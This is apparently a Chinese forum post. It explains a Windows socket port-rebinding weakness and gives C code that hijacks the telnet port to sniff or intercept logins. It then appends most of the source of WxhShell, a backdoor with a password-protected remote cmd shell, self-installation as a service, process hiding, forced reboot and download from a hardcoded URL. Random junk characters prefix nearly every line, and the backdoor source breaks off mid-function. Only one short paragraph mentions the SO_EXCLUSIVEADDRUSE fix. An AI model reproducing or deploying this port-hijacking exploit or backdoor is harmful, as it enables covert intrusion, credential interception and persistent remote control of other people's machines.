在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
@aN<nd`q) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
uhSRl~tn - U!:. saddr.sin_family = AF_INET;
(Gf1#,/3~ JBtcl#| saddr.sin_addr.s_addr = htonl(INADDR_ANY);
5rRYv~+ AH{]tE bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
k {_X%H/ sn
'#]yM 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4.$<o/M <%#M&9d)E 这意味着什么?意味着可以进行如下的攻击:
Q9t BHz a)^f`s^aa 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2>l4$G0 U2\g
Kg[-Q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
>KH.~Jfy cW4:eh 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
1`)ie%= 9F845M 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
OE]zC Bwj^9J/ob 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
5, R\tJCK fNPHc_?Ybj 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
IeLG/ fB mjO4GpG3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
v] &
)+0 Qz2Yw ` #include
Ch%W
C, #include
oXRmnt #include
|6'(yn #include
8u
Tq0d6( DWORD WINAPI ClientThread(LPVOID lpParam);
/k qW int main()
DygMavA. {
#|k;nFJ WORD wVersionRequested;
`% k9@k. DWORD ret;
j9)P3=s WSADATA wsaData;
~CIA6& BOOL val;
-CtLL_ I SOCKADDR_IN saddr;
:akEl7/& SOCKADDR_IN scaddr;
p \A ^kX^5 int err;
pp@Jndlg SOCKET s;
DP ,owk SOCKET sc;
0O<g)%Vz> int caddsize;
1wP#?p)c HANDLE mt;
Nd'+s>d0 DWORD tid;
k ,wr6>'Vt wVersionRequested = MAKEWORD( 2, 2 );
LsH&`G^< err = WSAStartup( wVersionRequested, &wsaData );
'Vq
<;.A if ( err != 0 ) {
4scY8(1 printf("error!WSAStartup failed!\n");
f1w&D ]|S+ return -1;
QxZYy}2 }
1)yEx1 saddr.sin_family = AF_INET;
1Q"w)Ta
2k;>nlVxX //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
B64L>7\>` hEla8L4Y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
C1&~Y.6m saddr.sin_port = htons(23);
*"Yz"PK if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*'4+kj7> {
xj`ni G printf("error!socket failed!\n");
C^9G \s' return -1;
E0; }e
}
reseu*5 val = TRUE;
&XAG|
# //SO_REUSEADDR选项就是可以实现端口重绑定的
#^%HJp^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
gP%S{<.? {
gZ
vX~ printf("error!setsockopt failed!\n");
l2H-E&'= return -1;
uc;1{[5`1q }
F]o&m::/K //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'-C%?*ku //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
q)0?aL //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
6[ }~m\cY _2u RY if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
!qGER. {
.m%/JquMFM ret=GetLastError();
(ndXz printf("error!bind failed!\n");
OBrbWXp@ return -1;
~*"]XE?M }
yKupPp); listen(s,2);
3j<:g%5 while(1)
dJyf.VJ {
CB V(H$d caddsize = sizeof(scaddr);
' cM2]< //接受连接请求
X*ZTn
7< sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
I
ACpUB if(sc!=INVALID_SOCKET)
Rdb[{Ruxb {
Cg{V"B: mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
.*N]SbU<8 if(mt==NULL)
2XoFmV),F {
2"0q9 Jg printf("Thread Creat Failed!\n");
Y2lBQp8'| break;
0_nY70B }
(4:&tm/; }
Y)~Y; ;/G CloseHandle(mt);
hF m_`J&" }
2AYV9egZ closesocket(s);
i/Zv@GF WSACleanup();
( X(61[Lu return 0;
,q9nHZG^ }
Std?p{
i DWORD WINAPI ClientThread(LPVOID lpParam)
yg}zK>j^vC {
}~B @Z\`O SOCKET ss = (SOCKET)lpParam;
f3r\X SOCKET sc;
8w,+Y]X<P[ unsigned char buf[4096];
++>HU{ SOCKADDR_IN saddr;
=*paa long num;
;4(ULJ* DWORD val;
"gt-bo., DWORD ret;
~rnbuIh //如果是隐藏端口应用的话,可以在此处加一些判断
kSL7WQe?j //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
L@mNfLK saddr.sin_family = AF_INET;
=7^rKrD saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
F_^)zss saddr.sin_port = htons(23);
ojmF:hR" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6YErF| {
hk5[ N= printf("error!socket failed!\n");
gu1:%raXd return -1;
sxG8jD }
seQSDCsvw* val = 100;
C0f<xhp?j if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Uz4!O {
2SjH7
' ret = GetLastError();
&*Sgyk
o` return -1;
!O*'mX }
g?7I7W~?` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]n \Qa {
i`nmA-Zj[ ret = GetLastError();
|_6V+/?"?` return -1;
D,3Kx ^ }
9#;GG3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
pA%}CmrMq {
Os90fR printf("error!socket connect failed!\n");
6%-RKQi closesocket(sc);
xM+_rU
M|h closesocket(ss);
.8GX8[t return -1;
(^{tu89ab }
xmM!SY> while(1)
bHKTCPf {
WX-J4ieL //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
U}yq*$N //如果是嗅探内容的话,可以再此处进行内容分析和记录
=~D QX\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
21T#NYfew num = recv(ss,buf,4096,0);
.S_7R/2(? if(num>0)
z [|:HS& send(sc,buf,num,0);
mhNX05D else if(num==0)
,J$XVvwxF break;
LJ8 t@ui num = recv(sc,buf,4096,0);
p{vGc-zP. if(num>0)
SzTa[tJ+ send(ss,buf,num,0);
/g`!Zn8a else if(num==0)
A3uF 0A break;
L*8U.{NY }
=#Z+WD-E closesocket(ss);
w-j^jU><3 closesocket(sc);
?Tlt(%f return 0 ;
o#Viz: }
-u$U~?|` 6 uTFgSqZ kf:Nub+h t ==========================================================
<-h[I&." Z}AhDIw!G 下边附上一个代码,,WXhSHELL
v;sWI"Fv! FokSg[)5 ==========================================================
BO,xA -+ 1\X_B`xwD #include "stdafx.h"
=T- jG_.H H[Q3M~_E #include <stdio.h>
jX;$g>P #include <string.h>
"(YfvO+ #include <windows.h>
edL sn>\*# #include <winsock2.h>
]@6L,+W" #include <winsvc.h>
20
Z/Y\ #include <urlmon.h>
JKF/z@Vbe\ tc|PN+v; #pragma comment (lib, "Ws2_32.lib")
0JXXJ:d B #pragma comment (lib, "urlmon.lib")
vNQ|tmn ]Om;bmwt #define MAX_USER 100 // 最大客户端连接数
'!"rE1e #define BUF_SOCK 200 // sock buffer
MAcjWb~f #define KEY_BUFF 255 // 输入 buffer
s>I~%+V.?: XE$;Z'Qhjm #define REBOOT 0 // 重启
4d8}g25C #define SHUTDOWN 1 // 关机
r`Bm"xI iLO,XW?d
v #define DEF_PORT 5000 // 监听端口
O&
1z- }1mkX\wWP #define REG_LEN 16 // 注册表键长度
wCEcMVT #define SVC_LEN 80 // NT服务名长度
+,zV
[\ U.Fs9F4M # // 从dll定义API
#('GGzL6c typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
}p>l,HD typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Fu>;hx]s typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
tkP& =$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|,T"_R_K ]$!7;P // wxhshell配置信息
o0_H(j? struct WSCFG {
z
.+J\ int ws_port; // 监听端口
p{x6BVw?> char ws_passstr[REG_LEN]; // 口令
&-L9ws int ws_autoins; // 安装标记, 1=yes 0=no
d~KTUgH'< char ws_regname[REG_LEN]; // 注册表键名
c1xX)cF char ws_svcname[REG_LEN]; // 服务名
v.53fx char ws_svcdisp[SVC_LEN]; // 服务显示名
\rY\wa char ws_svcdesc[SVC_LEN]; // 服务描述信息
fS3% char ws_passmsg[SVC_LEN]; // 密码输入提示信息
~m4LL[ int ws_downexe; // 下载执行标记, 1=yes 0=no
}_D{|!!!T char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
|fY#2\)Yx char ws_filenam[SVC_LEN]; // 下载后保存的文件名
LX}|%- iv t!59upbN}3 };
44pVZ5c w{riXOjS4 // default Wxhshell configuration
+hcJ!$J7 struct WSCFG wscfg={DEF_PORT,
a1x].{ "xuhuanlingzhe",
0x#
V 1,
65GC7 >[ "Wxhshell",
~FVbL-2 "Wxhshell",
m4^VlE,`Dh "WxhShell Service",
9hgIQl "Wrsky Windows CmdShell Service",
C't%e "Please Input Your Password: ",
RN$q,f[# 1,
jX,A. "
http://www.wrsky.com/wxhshell.exe",
GL^
j
|1 "Wxhshell.exe"
F.D6O[pZ };
$#_^uWN-M N6v*X+4JH // 消息定义模块
`FK qVd char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
X^C $|: char *msg_ws_prompt="\n\r? for help\n\r#>";
N@"e^i char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
GYonb)F char *msg_ws_ext="\n\rExit.";
_k5$.f:Yj< char *msg_ws_end="\n\rQuit.";
JEfhr char *msg_ws_boot="\n\rReboot...";
_he~Y2zFz char *msg_ws_poff="\n\rShutdown...";
crJNTEz char *msg_ws_down="\n\rSave to ";
qJ$S3B :~p_(rE char *msg_ws_err="\n\rErr!";
[n +( char *msg_ws_ok="\n\rOK!";
p+2uK|T9 w$749jGx char ExeFile[MAX_PATH];
tfv@
)9 int nUser = 0;
xG(:O@ HANDLE handles[MAX_USER];
0qBXL;sE int OsIsNt;
eXdH)|l,\ *T{KpiuP SERVICE_STATUS serviceStatus;
R~bLEo SERVICE_STATUS_HANDLE hServiceStatusHandle;
]xhH:kW4 5d|+ c< // 函数声明
mW)"~sA int Install(void);
R xWD>: int Uninstall(void);
$'lJ_jL int DownloadFile(char *sURL, SOCKET wsh);
%;` 3I$ int Boot(int flag);
dTVM
!= void HideProc(void);
Z8pZm`g)T int GetOsVer(void);
Uzk_ae int Wxhshell(SOCKET wsl);
#elaz8 5 void TalkWithClient(void *cs);
bre6SP@ int CmdShell(SOCKET sock);
.gI9jRdKw int StartFromService(void);
c:}K(yAdd int StartWxhshell(LPSTR lpCmdLine);
g:"Hg-s @HXXhYH VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
;<` VOID WINAPI NTServiceHandler( DWORD fdwControl );
T0}P 'q {K2F(kz?T // 数据结构和表定义
.T*7nw SERVICE_TABLE_ENTRY DispatchTable[] =
Q1'D*F4 {
QLTE`t5w3' {wscfg.ws_svcname, NTServiceMain},
o-t!z'\lO {NULL, NULL}
B Zw#ACU };
E9[8th,t 4>@-1nt} // 自我安装
4U:+iumy2 int Install(void)
*-9b!>5eD {
YCQ+9 char svExeFile[MAX_PATH];
Z8Clm:S HKEY key;
fmq^AnKd strcpy(svExeFile,ExeFile);
|zL .PS 'w7{8^Z2 // 如果是win9x系统,修改注册表设为自启动
O~&l.>?? if(!OsIsNt) {
]0:R^dHE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=;xlmndT, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(.3L'+F RegCloseKey(key);
`24:Eg6r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]t3
NA*mM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-.WVuc` RegCloseKey(key);
P^LOrLmo8 return 0;
IA;KEGJ }
$RSVN? }
Cj):g,[a }
I@q>ES!1H else {
wh:`4Yw OiY2l;68 // 如果是NT以上系统,安装为系统服务
+=@Z5eu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
;h3*MR if (schSCManager!=0)
tg5jS]O {
$Y0bjS2J SC_HANDLE schService = CreateService
<FK7Rz:4T (
U>x2'B v schSCManager,
(^Do#3 wscfg.ws_svcname,
iVu+ct-iv wscfg.ws_svcdisp,
k*c:%vC! SERVICE_ALL_ACCESS,
r5iO%JFg SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Nd!2 @?V4 SERVICE_AUTO_START,
7RD` *s SERVICE_ERROR_NORMAL,
xD?{Hw>QT# svExeFile,
8h20*@wSN NULL,
t1Khf NULL,
#-HN[U?Gs NULL,
c[y=K)<Z NULL,
X0Oq lAw NULL
X)f"`$ );
Z#MODf0H@ if (schService!=0)
1v\-jM" {
/?XfVhA:A CloseServiceHandle(schService);
rw\4KI@ L CloseServiceHandle(schSCManager);
G[>-@9_b strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
QT&{M
#Ydn strcat(svExeFile,wscfg.ws_svcname);
}C&c=3V if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
};!c]/, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
a@jP^VVk RegCloseKey(key);
3MzY]J
y( return 0;
dw4)4_ }
%-'U9e KN }
gq@."wHU CloseServiceHandle(schSCManager);
6Rf5 }
^ KjqS\< }
w9PY^U.Y3e $WPN.,7 return 1;
(_08?cN }
T+ t-0k uU\iji\ // 自我卸载
ha),N<' int Uninstall(void)
K/,lw~> {
0Yjy HKEY key;
nz',Zm}, o_N02l4J) if(!OsIsNt) {
09?<K)_G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'~cEdGD9H RegDeleteValue(key,wscfg.ws_regname);
^9RBG#ud RegCloseKey(key);
T:&+#0< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
yEny2q} RegDeleteValue(key,wscfg.ws_regname);
~GeYB6F RegCloseKey(key);
Ja&%J: return 0;
YBO53S]= }
uSQ*/h-<)0 }
E)E! }
!T{g& f else {
GT.^u#r YC_^jRB8n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
yi?&^nX@9, if (schSCManager!=0)
B<RONQj_ {
\}=b/FL=U SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
%ze1ZWO{ if (schService!=0)
D+3Y.r9 {
_2Z3?/Y if(DeleteService(schService)!=0) {
+;Gl>$ CloseServiceHandle(schService);
;^*!<F%t9R CloseServiceHandle(schSCManager);
}BrE|'.j' return 0;
kI'A`
/Bl }
^IpiNY/%Q CloseServiceHandle(schService);
[VW;L l }
hI8C XG CloseServiceHandle(schSCManager);
j#f&!&G5<& }
,]mwk~HeF }
3>" h*U# 5uer
[1A return 1;
C(|5,P#5 }
^gyp-
! i 8Xz // 从指定url下载文件
jTr4A-" int DownloadFile(char *sURL, SOCKET wsh)
NR&9:? {
ha=z<Q HRESULT hr;
HJR<d&l;p char seps[]= "/";
H|U/tU- char *token;
\2xBOe-a] char *file;
N{t:%[ char myURL[MAX_PATH];
\ZRoTh char myFILE[MAX_PATH];
-<!17jy F^z8+W strcpy(myURL,sURL);
rcmAVl:$> token=strtok(myURL,seps);
ue"?S6 while(token!=NULL)
R?~h7 d {
O)uM&B= file=token;
vCSB8R token=strtok(NULL,seps);
JvL'gJ$70 }
,nR8l #L:P
R> GetCurrentDirectory(MAX_PATH,myFILE);
s;7qNwYO strcat(myFILE, "\\");
=awO63j> strcat(myFILE, file);
uyt-q|83= send(wsh,myFILE,strlen(myFILE),0);
aijGz< send(wsh,"...",3,0);
cC^C7AAq^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
i: M*L< + if(hr==S_OK)
0"psKf' return 0;
`F\:XuY else
<-:@} |br return 1;
LDEW00zL .*~u }
L1kM~M Z/kaRnG[@t // 系统电源模块
TUUE(sLA int Boot(int flag)
!LIfeL.4h {
_*ouo<x HANDLE hToken;
+^ DRto= TOKEN_PRIVILEGES tkp;
A1QI4.K CQzjCRS
d if(OsIsNt) {
.k,Jt+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Kq 4<l LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
OZ'.}((?n tkp.PrivilegeCount = 1;
+lgF/y6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
?QSx8d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
=Xy`"i{`( if(flag==REBOOT) {
gJ5wAK+? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
|@ZqwC= return 0;
sh(kRrdY3 }
Sm$j:xw< else {
C8qTz".5$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
hK39_A- return 0;
HKiVEg }
|3,yq^2 }
`e?;vA& else {
<Hh5u~ if(flag==REBOOT) {
L+L"$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
2#b<d?" return 0;
BLwfm+ m" }
S*CLt else {
&*aer5?` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
KIKq9 * return 0;
'l'
X^LMD }
X"k^89y$ }
L7Qo- ~TG39*m return 1;
4ypRyO }
mX@j P(pd0,%i;a // win9x进程隐藏模块
f^!11/Wv void HideProc(void)
t}]9VD9
{
#juGD9e K5!";V HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
:/@k5#DY if ( hKernel != NULL )
,b6kTQq {
7MO pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
(Bt;DM#> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
HZDk
<aU/! FreeLibrary(hKernel);
6%ZHP? }
n5bXQ px w{ return;
F2bm+0vOJ }
\|eJJC v9E+(4I9_ // 获取操作系统版本
S9G8aea/ int GetOsVer(void)
0 W~.WkD {
=MTj4VXh" OSVERSIONINFO winfo;
w~<FG4@LU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
2f3=?YqD GetVersionEx(&winfo);
6sYV7w,'@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
fDU+3b return 1;
s.^c..e75C else
ElQJ\% return 0;
x1Nme%%& }
kF+ZW%6N 5R,la\!bQ // 客户端句柄模块
0=OD?48< int Wxhshell(SOCKET wsl)
z@!^ow)`J {
T(Y}V[0+ SOCKET wsh;
T@(6hEmP, struct sockaddr_in client;
J#6LSD@(O DWORD myID;
RI(=HzB + jp|Y?6Z while(nUser<MAX_USER)
%S{o5txo {
U:qF/%w int nSize=sizeof(client);
X!T|07#c wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
oz%h)#; if(wsh==INVALID_SOCKET) return 1;
OYBotk]{1 )*!1bgXQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
s,84*6u if(handles[nUser]==0)
(-bRj# closesocket(wsh);
+``>,O6 else
ER{yuw nUser++;
U8YO0}_z }
G-2EQ. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
4w@v#H@ DeA @0HOxh return 0;
-<O JqB }
c+1vqbqHG bKYY{V55 // 关闭 socket
ab{;Z5O void CloseIt(SOCKET wsh)
%njOX#.w {
/a%*u6z@ closesocket(wsh);
LxB&7 nUser--;
gyC^K3} ExitThread(0);
FnY$)o; }
NvcHv7, _O$tuC% // 客户端请求句柄
P2>:p%Z void TalkWithClient(void *cs)
#
2d,U\_ {
BjYOfu'~z 5KK{%6#f\ SOCKET wsh=(SOCKET)cs;
~+<<bzY char pwd[SVC_LEN];
3a%xn4P char cmd[KEY_BUFF];
3Mw}R6g@# char chr[1];
M]1; int i,j;
D{>\-]\ Hv3W{| while (nUser < MAX_USER) {
HQl~Dh0DJ MZ)T0|S_ if(wscfg.ws_passstr) {
6>s=CiZB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
L/)B}8m\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+miR3~w. //ZeroMemory(pwd,KEY_BUFF);
+Jdm#n?_ i=0;
z<t>hzl7 while(i<SVC_LEN) {
o,J^ e_ C*a,<` // 设置超时
Y5n>r@)m fd_set FdRead;
5.dl>, struct timeval TimeOut;
E.9^&E}PG FD_ZERO(&FdRead);
BO"qD[S FD_SET(wsh,&FdRead);
X CzXS. TimeOut.tv_sec=8;
fL2^\dB; TimeOut.tv_usec=0;
kB
V/rw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
u7[pLtOwN if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
s047"Q 4j^bpfb, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
1#]B^D pwd
=chr[0]; ).Q[!lly
if(chr[0]==0xd || chr[0]==0xa) { {gw[%[ZM
pwd=0; <}cZi4l'
break; }YRO'Q{
} 'aZASPn[
i++;
{U^j&E
} IhfZLE.,
oK$'9c5<
// 如果是非法用户,关闭 socket c`ftd>]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L/%Y#
} ncj!KyU
~pRs-
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \WX@PfL
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qEZ!2R^`G
>O3IfS(l
while(1) { :Pf>Z? /d
NZP7r;u
ZeroMemory(cmd,KEY_BUFF); n>S2}y
I3PQdAs~&h
// 自动支持客户端 telnet标准 zQ_z7FJCB
j=0; a MsJO*;>
while(j<KEY_BUFF) { _Z$?^gn
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DL1
+c`d
cmd[j]=chr[0]; T6X}Ws "
if(chr[0]==0xa || chr[0]==0xd) { dWUUxKC
cmd[j]=0; a5 bPEJ=I
break; vzG ABP
} \FXp*FbQ
j++; %mu>-h ac
} tH,sql)
) $J7sa
// 下载文件 D7gHE
if(strstr(cmd,"http://")) { C5MqwNX
send(wsh,msg_ws_down,strlen(msg_ws_down),0); X|' 2R^V.
if(DownloadFile(cmd,wsh)) -x5F;d}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qX?[mdCHZ
else \OY}GRKt
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ol }`Wwy
} &Sa~/!M
else { WN\PX!K9
>jKjh!`)!e
switch(cmd[0]) { "koo` J
`O
n(v
// 帮助 0qR$J
case '?': { ^cn@?k((A
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 87}(AO)
break; I)lC{v
} t\%%d)d9
// 安装 $
9 =8@
case 'i': { ="2/\*.SL
if(Install()) !5~k:1=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q :8\e
else ZB0+GG\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &F`L}#oL&
break; =f `=@]
} E-F5y
// 卸载 S (tEwXy
case 'r': { D )gD<
if(Uninstall()) 3HKxYvc C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .)t(:)*b
else 6klD22b2$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cd&B?\I
break; u#3)p
} L#!$hq9{_
// 显示 wxhshell 所在路径 {G%3*=?,j
case 'p': { [zx|eG<&-
char svExeFile[MAX_PATH]; 3a^)u-9,x
strcpy(svExeFile,"\n\r"); Man^<T%F
strcat(svExeFile,ExeFile); H:{?3gk.P3
send(wsh,svExeFile,strlen(svExeFile),0); f:XfAH3R{
break; N6q5`Ry
} 1!1DuQ
// 重启 W0|_]"K-
case 'b': { 2`E!| X
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wE4;Rk1
if(Boot(REBOOT)) Bj8<@~bX:L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "/!'9na{QL
else { 3C#RjA-2[
closesocket(wsh); 3fl7~Lw,
ExitThread(0); ftaBilkjp
} 0O[l?e4,8{
break; j-6v2MH
} 0-GKu d
// 关机 ?b"Vj+1:x
case 'd': { -O %[!&`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bM5CDzH(#X
if(Boot(SHUTDOWN)) }k| g%HJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (V)9s\Le_
else { *_#&"(P
closesocket(wsh); 71*>L}H
ExitThread(0); mYzcVhV
} =E1tgrW
break; 8m|x#*5fQl
} P8IRH#ED
// 获取shell gW}} 5Xq
case 's': { CWBbSGk
CmdShell(wsh); M/l95fp
closesocket(wsh); AoIc9ElEX
ExitThread(0); cCk1'D|X[e
break; GZS{&w!
} O"8 P#Ed
// 退出 RPY6Wh|4
case 'x': { tI'e ctn
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7BS/T
CloseIt(wsh); F=:c5z
break; 'f8
p7_F
} 7>
)l{7
// 离开 TG?fUD V
case 'q': { R@&?i=gk
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9!cW
closesocket(wsh); T%w(P ^qk
WSACleanup(); LPMb0F}"5
exit(1); CM"s9E8y
break; Nl=+.d6Qo
} 4 #G3ew
} ;=#qHo9k1%
} dbd"pR 8v
w2'
3S#nZ
// 提示信息 ~O8]3+U
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h|)2'07
} iKY-;YK
} %$^$'6\77
6B
/Jp
return; Mg&HRE
} 7@3M]5:3g
31H|?cg<
// shell模块句柄 -)<JBs>
int CmdShell(SOCKET sock) ;B(;2.<"J
{ j_hjCQ
STARTUPINFO si; rC=f#YjR
ZeroMemory(&si,sizeof(si)); -g~iE]x6Y
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EccFx7h
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +h9`I/R
PROCESS_INFORMATION ProcessInfo; 9
4 "f
char cmdline[]="cmd"; A-}PpH~.Z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @
$9m>6V
return 0; 9.^-us1
} 54bF)<+
4{c`g$j>
// 自身启动模式 Ti /;|lP@
int StartFromService(void) !Mm+bWn=mB
{ 34HFrMi
typedef struct X*(gT1"t
{ 5B_-nYJDt
DWORD ExitStatus; X+fuhcn
DWORD PebBaseAddress; MAl{66
DWORD AffinityMask; `1}HWLBX.
DWORD BasePriority; "87O4
#$
